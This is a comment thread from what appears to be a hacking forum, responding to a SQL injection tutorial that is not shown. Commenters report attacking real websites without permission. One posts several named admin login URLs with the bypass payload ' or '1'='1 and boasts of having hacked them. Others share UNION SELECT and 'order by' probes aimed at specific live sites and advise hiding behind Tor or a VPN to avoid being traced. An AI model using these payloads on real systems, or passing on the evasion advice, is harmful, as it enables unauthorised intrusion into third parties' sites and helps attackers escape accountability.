[wanabehaxor]

Ive just tryed my first SQL injection on a forum. I found a vunerable forum and i logged in succesfully using username as ' and password as 'or'1=1'

is that it? or is there anything else i need to do


sorry im extremely nooby lol

[danang]

A very informative tutorial. Thank-you.

[Marco]

How come whenever I enter the code to get the table names it just says "Character_Sets"?

[Braco Asshole]

thank you very nice tut man

[nameless_watermelon]

/poetry.php?poem=1 order by 1 still gives error
And when I try to copypaste it it turns into
/poetry.php?poem=5%20order%20by%201
Is this site vulnerable?

[Don187]

This realy works like a charm hahahaah lol

http://www.csbt.org.uk/busdirect2/admin_login.asp


username; admin
password; ' or '1'='1

[Don187]

http://www.litalumnimumbai.com/Admin/Admin_login.asp

admin
' or '1'='1


Lol just hacked this one

---

http://www.flbaptist.com/assets/asp/admi...nLogin.asp

admin
' or '1'='1

lol another one

[C1tron^]

http://xainnasir.blogspot.com/2009/04/ha...g-sql.html

?

[SeNiOR_MaGMA]

good work

supply us with more

[CyberHacker™]

uhhh i dont understand the dork thing

[Blacksheep182]

Code

http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"
if you see some numbers like 1 2 3 4 on the screen or the column names    
it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db

Now what if no numbers appear or column names and the page loads like normal?

[WAR10CK]

Hmmmh. I got the first part, but the 2nd confused me a bit. I'll try it again tomorrow... too late right now. : )

[plitvice]

hello,
i tried to inject site and i get this:
http://www.rakovica.hr/vijesti/news_item...r%20by%201--

is it injectable?

[WAR10CK]

I have one question. Can you somehow get caught hacking a website by SQL Injection? Like... can your ISP see that?

[rayven18]

you can be traced so always hide your IP with a program like tor or hotspot shield or use VPN